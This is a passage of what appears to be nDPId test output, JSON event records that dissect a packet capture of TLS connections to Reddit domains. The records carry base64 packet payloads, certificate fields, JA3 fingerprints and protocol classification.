DAd8WAAHbAQAB1zCCAdMKAQCgggHMMIIByAYJKwYBBQUHMAEBBIIBuTCCAbUwgZ6iFgQUD4BhHIIxYdUvKOeNRji0LOHG2eIYDzIwMjAxMTEyMTIyMDU2WjBzMHEwSTAJBgUrDgMCGgUABBQQX6Z6gAidtSefNc6DC0OInqPHDQQUD4BhHIIxYdUvKOeNRji0LOHG2eICEASBWIkVoZ4tBgg0csD1+oCAABgPMjAyMDExMTIxMjIwNTZaoBEYDzIwMjAxMTE5MTEzNTU2WjANBgkqhkiG9w0BAQsFAAOCAQEAbwsD5QK4DQ9xfMkiwjwxyTNXlhdZjg2N8vB\/PaYfH1XoDJdlWGVbnA8TWdbHQAFf+6hb2yCXT2PrEc5rtmuJ6qsC"} +01142{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":700,"source":"reddit.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":10,"flow_first_seen":1605291686064,"flow_last_seen":1605291686142,"flow_tot_l4_data_len":3997,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":399,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56582,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"preview.redd.it","server_names":"redd.it,*.redd.it","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=*.redd.it","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"3D:15:31:F3:94:55:33:92:88:5C:61:40:B0:FD:ED:27:6D:29:3A:12"}} +01141{"flow_id":15,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":701,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":142640,"pkt_caplen":590,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":590,"pkt_l4_len":536,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAhgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdBugO\/NCJd61ngBgLMOZMAAABAQgKwtc466l05ihkRhvz1enisus+n+JtTFh5SwLPqnsNQGg3iOJYoXp+wF91pGTE\/3x+aQOXjrcYJPujSbXof\/sNWsX0Ch+B\/eKgUux4+l+H6D2B4ET1JbSLEEOr9ZWpS3RJvElVNKQUtc6UiHPg\/2caAWll+fY5HO0LlKfS0\/+z66ZGktG+DgAoy7TfLapyN4\/YD\/XHQTfVf+ymrIBkogrdwK2UAhWm9rWt7ALq5xFuJyf0ZlOeEe+6ePGSg5v4hVg3I0eT4d0tFgMDASwMAAEoAwAdIDGDUtF9tVVvnmKrIfqd5B7KDz4yaX9vh9T4NoKj+gQKCAQBAC+SYFht96+xUi8+8CumApjobGOq48sRIcldr713SU9MvuX+TFGZqcTFh4s2mC2ieSkcd74Hl4GWE5M1VKz2VrttiblH3LgfXQeGMdD+AkvLco4ivgRHAz8wOgXHp21zGm3K1M6WVIEPapkuIwwQk\/zhfdzmBiRzZuY8Szcpv0SxA+ijbSV3DpOMwn74QrvUAxKraJ1m5P6XtGIhFt3gkJW0ZrDD2zf1d7BaCoDZ8AJ4jeuuciBa5Ej\/DzlzNmiQSBhrTaXkY+HcZcW0IK6YLeNhquDgZ285FdzH1tHDZO4epINcm6vLMIZy32cAjWs2NZUcEVHFJdNbYpIPujfcc18WAwMABA4AAAA="} +00454{"flow_id":15,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":702,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":142645,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBAJCACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QYBu4l3rWfoDvzQgBAB45jdAAABAQgKqXTmUsLXOOs="} +00454{"flow_id":15,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":703,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":142650,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBAJCACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QYBu4l3rWfoDv7IgBAB4JboAAABAQgKqXTmUsLXOOs="} +00585{"flow_id":11,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":704,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":142672,"pkt_caplen":179,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":179,"pkt_l4_len":125,"pkt":"qtsDr8lk5EKm5WPyht1gBKPwAH0GQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3P4Bu+9x1tyMsPIugBgB9YFTAAABAQgKqXTmUsLXOOYWAwMAJRAAACEgZJ2fNuxYDkYEAorrSgrC6naxu108X\/vrHejUJ\/bvY20UAwMAAQEWAwMAKAAAAAAAAAAAuxwHWn\/YV7LzrQXx5DCSpCQE8NxK6REGaWrzx+x6k\/A="} +00454{"flow_id":12,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":705,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":143189,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDoxGACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QABu3ytf9YZm1XggBEB9UiWAAABAQgKqXTmU8LXOOQ="} +00454{"flow_id":11,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":706,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":143227,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBKPwACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3P4Bu+9x1zmMsPIugBEB9W8KAAABAQgKqXTmU8LXOOY="} +00592{"flow_id":13,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":707,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":143287,"pkt_caplen":185,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":185,"pkt_l4_len":131,"pkt":"qtsDr8lk5EKm5WPyht1gBLbYAIMGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QIBuwaOnYFiS96ngBgB9bc6AAABAQgKqXTmU8LXOOQXAwMAXgAAAAAAAAABe6gvpK3f09SZmdUeupLeJbR2b43kbwfw5hyBx9bENlHGJC\/\/cx38UO6bl36KpKUr5QIJ1IgXfYt5H0KjwrHbH0js\/3q9ImEFNEjmcNvJjMu0LnW1sYA="} +00453{"flow_id":14,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":708,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":143310,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCVnRACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QQBuwBg4ZJlbJe+gBEB9dVqAAABAQgKqXTmU8LXOO0="} +00455{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":711,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":144251,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdCGPwRcYBxWgngBALMJfQAAABAQgKwtc476l05ig="} +01872{"flow_id":14,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":712,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":144252,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdBGVsl74AYOGSgBgLMFueAAABAQgKwtc47al05ih0cDovL29jc3AuZGlnaWNlcnQuY29tMEYGCCsGAQUFBzAChjpodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEyU2VjdXJlU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAXOQZCKCAAAEAwBHMEUCIAherbIi6ZyHzb3QX5+4\/MlQsJrfbT9XT60YNwXvs\/FkAiEAwb6FWwmkC64YkR7Z3GfczyoO1X+DuWs1z\/cJf1mGmRAAdwBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAXOQZCKuAAAEAwBIMEYCIQCNJnMx30MdQpcsqt\/W+zrckQM+XjK6x44S461Ih+FOwgIhAKbBLZjqonCb3DAhfmp8tsmJH+X3MizzOAQP3yn5uVQ5MA0GCSqGSIb3DQEBCwUAA4IBAQBCDMeIm2uPoixPwoutZHrrGFzfNJEXLQk54PkRo2woDSpR3o0sLrpMXiyWx6H0MMNDjCQCbMH2ymQA6oTDSulICMxnonBHGBAiFWQ4yFy2iFOaonss\/jw9Dn15iyoLKitvtvJLO9YtEqX7BhpUXB+aGzE35RE3PNE7a9BSnYdTRBdwcbTm4\/GUaX3HC2LiAXQA2DAltxNjiE72Zxrfz9Ebt1FNjsFnx0Ah1ZbnA1MIHFvgmyPuvrAyEw9PR6UdJmEHtOv18OslcdpyIt5b11k6XZhXnFrHzfU77INW6\/\/S6hVNtvk1bBdMuvkLXzN88BKcp9k9\/9vFc9yzgrbsBbZxAASYMIIElDCCA3ygAwIBAgIQAf2j627KdciIQ4tyS8+8kTANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0xMzAzMDgxMjAwMDBaFw0yMzAzMDgxMjAwMDBaME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANyuWJBNwcQwFZA1W248ghX1LFy949v\/cUP6ZCWA1O4Yok3wZtAKc24RmDYXZK83nf36QYSvx6+M\/hpzTc8zl5CilodTgyu5pnVILR1WN3vaMTIa16yrBvSqXUu3R0bdKpPDkC55gIDvEwRq"} +01870{"flow_id":14,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":713,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":144252,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdBGVsm9YAYOGSgBgLMKXTAAABAQgKwtc47al05igUO7Wbkr7CB2VO\/Nr8\/3qu3Fx+VTEM6DkHpNe+L9MLatKx31\/+V3RTOzWA3a6ORJiznw7T2uDX9Gspq0SnS1iEbZJLgcPac4sSl0iQBEV1Gt03MZeS6M1UDTvkwT85Xi6481x+EI6GQQCNRWZHsKFlzqCqKQlO85fr6C6rD3KnMA76x\/T9FHfDpFsoV8Kz+YL9t0VYmwIDAQABo4IBWjCCAVYwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAYYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wewYDVR0fBHQwcjA3oDWgM4YxaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA3oDWgM4YxaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUD4BhHIIxYdUvKOeNRji0LOHG2eIwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQELBQADggEBACM+30vSMUKltn5CXBpEzGnRaLRdS+AEIWxL4m3MseCXj6ZTCc2qKmXlOU8eg6VuXJiiJCbm+6Htk8cuAsZNSr+wQt942rOo+W3\/IYVTNmBMds7sONzWUYDwxdbl1E0nZKubxz5x+0iXuDNtyRMH7paiGxgV9lxMQO2zwuz\/ccHjR\/\/UuQC0N0LaIMnqboruFAaufaJZmIioG28t9PLJFF8mzyyNfu03wKnVObmCvxkM6jSvACFo+K1z4sky2jglC1XTmh3waIbtLkE073ylUB2\/OvnTwQgM5u0eilgl5Lh3rS1u9VLdtHSPq0kunTuTNCgfeM6U6se908ltHN5cMvMWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBQPgGEcgjFh1S8o541GOLQs4cbZ4hgPMjAyMDExMTIxMzIwNTZaMHMwcTBJMAkGBSsOAwIaBQAEFBBfpnqACJ21J581zoMLQ4ieo8cNBBQPgGEcgjFh1S8o541GOLQs4cbZ4gIQBSCpw0UHR0S5Q9u7sJJenYAAGA8yMDIwMTExMjEzMjA1NlqgERgPMjAyMDExMTkxMjM1NTZaMA0GCSqGSIb3DQEBCwUAA4IBAQAe0tW7eHxJsBmpUJLOLbayxqVf49zXEZ5\/cB0RRa6yG3CNXesl4JDY"} +01173{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":713,"source":"reddit.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":10,"flow_first_seen":1605291686060,"flow_last_seen":1605291686144,"flow_tot_l4_data_len":3997,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":399,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56580,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"styles.redditmedia.com","server_names":"*.redditmedia.com,redditmedia.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert SHA2 Secure Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Reddit Inc., CN=*.redditmedia.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"96:A3:77:56:81:79:10:5C:E8:7F:F0:33:D2:7E:1C:45:08:2C:25:85"}} +00455{"flow_id":17,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":714,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":144252,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdCnzgy8cZci+BgBALMBnUAAABAQgKwtc48Kl05ik="} +00438{"flow_id":14,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":715,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":144271,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gCPRTABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QQBuwBg4ZIAAAAAUAQAAJk8AAA="} +01177{"flow_id":14,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":716,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":144351,"pkt_caplen":616,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":616,"pkt_l4_len":562,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAjIGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdBGVsn+4AYOGSgBgLMB82AAABAQgKwtc47al05igFzSsmCedJGCcRINBMxj2OkjLRrR5+xcD9lb4unAKC5WTmKH6ycrO9ix\/L32MGep\/ZFvIJCQSouE7mlgSAcTFI4BXte\/pGsHMAjui+1qfzuJeDRU1HhuOmlCbhFJ6m4gFzgwhyGd9L+hpBg5KgMKhXfS7jrubusel2UJKbGh734tJ39CE6k1PRqEwMkj67np+DYccuihF63nxZALE8swo0riZoaCe5AiIY7ITMITCBbxCZuPAGOPmEMbEPmOm6Pvj+\/bWyqGz8umNh91i6hsUU6dKjsm4mWYsWAwMBLAwAASgDAB0gG2cOJgoEaixVukJFuagwQP1Slxp2pmozF56MYk\/waEIIBAEAxD4SJToiMcYIr5B0\/+sb0wfrs+x2lHtMV12QgO7sOQdEGDIDCYyBWOFUPQutn88\/lvd8NzFxEk7Gx5Vt6P5ROxT1NSKv0FCLFMr4T\/+xaq98Yne3wtlRpwrKYdTxXc5vRO9\/NciX5jSwPMQIX0VlmhEbICMhjZHHrvtGHhd3to9Pxceen905+pBfwNZIfoh4S9qGDT8cgCiS0ZUGhF0UpsywcC9kFFVL5eDTopw46xpDM7z5kMHT\/bfMxNk48gbgJ2WKpmN8aEqu+Izc5jj96Mpy1L26ZOqOVCR+Pk2qOmrCeAHGLz9Iuj2X0o+K8aVPhgNqwk9IMXTabXd30cmNrxYDAwAEDgAAAA=="} +01861{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":717,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":144351,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdCGPwRcYBxWgngBgLMLuoAAABAQgKwtc48al05igWAwMAUgIAAE4DA3lpLaMar1lk2Fn\/0J90eAWbE3xkWhxb4PYNzGeki0QPAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMKxgsACsIACr8ABiEwggYdMIIFBaADAgECAhAEgViJFaGeLQYINHLA9fqAMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIgU2VjdXJlIFNlcnZlciBDQTAeFw0yMDA4MjYwMDAwMDBaFw0yMTAyMjIxMjAwMDBaMGQxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRQwEgYDVQQKEwtSZWRkaXQgSW5jLjESMBAGA1UEAwwJKi5yZWRkLml0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqqajbv6yxoBUUP7z4hqGEBqUxkIuxIANvgy2sKGAl3jE9LNe9bbgB7FzCPhrmyFURkVvYbXfU9co9q2RsG\/ZLID9oD7cnc4wYj8f5M0Wj7sE4dcOBfT1mL+rKP75s+BKfKTkPZTCKgxJREHiw9NQlhB9n7EhNiUvWmZIAm5zbikqjIrLNp5RC9MOYKZw5cvDcfEExtW47V0qsenFicT1Vp4offkEkRTUZQHa8ZDesXcX4X8FcQ4SffgFPYEu5soxUH5p1gEVUzzt1qKIQ3VpkM9Z1uyEjunxQhHxNgkslvXaUfxNo4vt8AtlnyIrqudEvXm1BoqY1Q95KpDrm7iWCQIDAQABo4IC4DCCAtwwHwYDVR0jBBgwFoAUD4BhHIIxYdUvKOeNRji0LOHG2eIwHQYDVR0OBBYEFF5jqSI83X0TAAcKFOfiu1j5R516MB0GA1UdEQQWMBSCB3JlZGQuaXSCCSoucmVkZC5pdDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBG"} +00882{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":717,"source":"reddit.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":6,"flow_first_seen":1605291686064,"flow_last_seen":1605291686144,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56584,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"preview.redd.it","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00438{"flow_id":14,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":718,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":144355,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gCPRTABQGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QQBuwBg4ZIAAAAAUAQAAJk8AAA="} +00453{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":719,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":144359,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gAj4aACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QgBuwHFaCdj8EnegBAB9ZzFAAABAQgKqXTmVMLXOPE="} +00583{"flow_id":15,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":720,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":144994,"pkt_caplen":179,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":179,"pkt_l4_len":125,"pkt":"qtsDr8lk5EKm5WPyht1gBAJCAH0GQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QYBu4l3rWfoDv7IgBgB9TMgAAABAQgKqXTmVMLXOOsWAwMAJRAAACEgDKhK+fnPfakLEiUGnf24VB8EgC9O2IJ8IfqQjcJ8lQ8UAwMAAQEWAwMAKAAAAAAAAAAAoJxM\/eZ8gECxhU1BRAHdej9eS7fhJ9tLYYhb89Z\/n7s="} +01875{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":721,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":145060,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdCGPwSd4BxWgngBgLMGX6AAABAQgKwtc48al05igGCCsGAQUFBzAChjpodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEyU2VjdXJlU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggEDBgorBgEEAdZ5AgQCBIH0BIHxAO8AdgD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAXQrSmdiAAAEAwBHMEUCIQD\/04ygSe1MYzrJpdTwrQK9Sjx\/tAOekyn8ZwUHe438MQIgQeoxYr6dp9e0Vi2BfTgg\/tx7yoUBr46n4mPgngP1Cg8AdQBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAXQrSmd+AAAEAwBGMEQCIDQ+4afNmJ6Lq7tcDFhWE5ZRcYt+T8eRVv9HNhRXleMaAiAfvoxXCpDvg3ksn\/DbvlHRhWsdVwta6mdmCm+pp0EQLDANBgkqhkiG9w0BAQsFAAOCAQEAAG3CaPVDekrOfzw6f0I5v2tWlY1xVwLUq3mWKiYqkY13PT0BCSJhi4Wr05nryv4hM2tTgWfXEYy5thizGRFQU2k2\/UwaR1tWB7k6icplfD0Ga+hHuMA1ioLo\/9dpR90j3inuZOlew5NI2+DUxJoSXlo3H8MbyO5DP\/ctl49WhW+y0JaR0mw+Wsni\/W0+ctk2wp4ac\/lpLbD1iXAOjwpg\/HHz0VF8T8dgjOGW64yvr1ftmXr2UumO7tbZmf00WJprBjlf4hclLVDLtjreq8DhsjB3cf\/gLzGIz0xtBET1KwumlL4Vmay44nBXCrqr3Ucoup6L8umjZP\/gUQ4QuW1ijwAEmDCCBJQwggN8oAMCAQICEAH9o+tuynXIiEOLckvPvJEwDQYJKoZIhvcNAQELBQAwYTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTEgMB4GA1UEAxMXRGlnaUNlcnQgR2xvYmFsIFJvb3QgQ0EwHhcNMTMwMzA4MTIwMDAwWhcNMjMwMzA4MTIwMDAwWjBNMQswCQYDVQQGEwJVUzEVMBMGA1U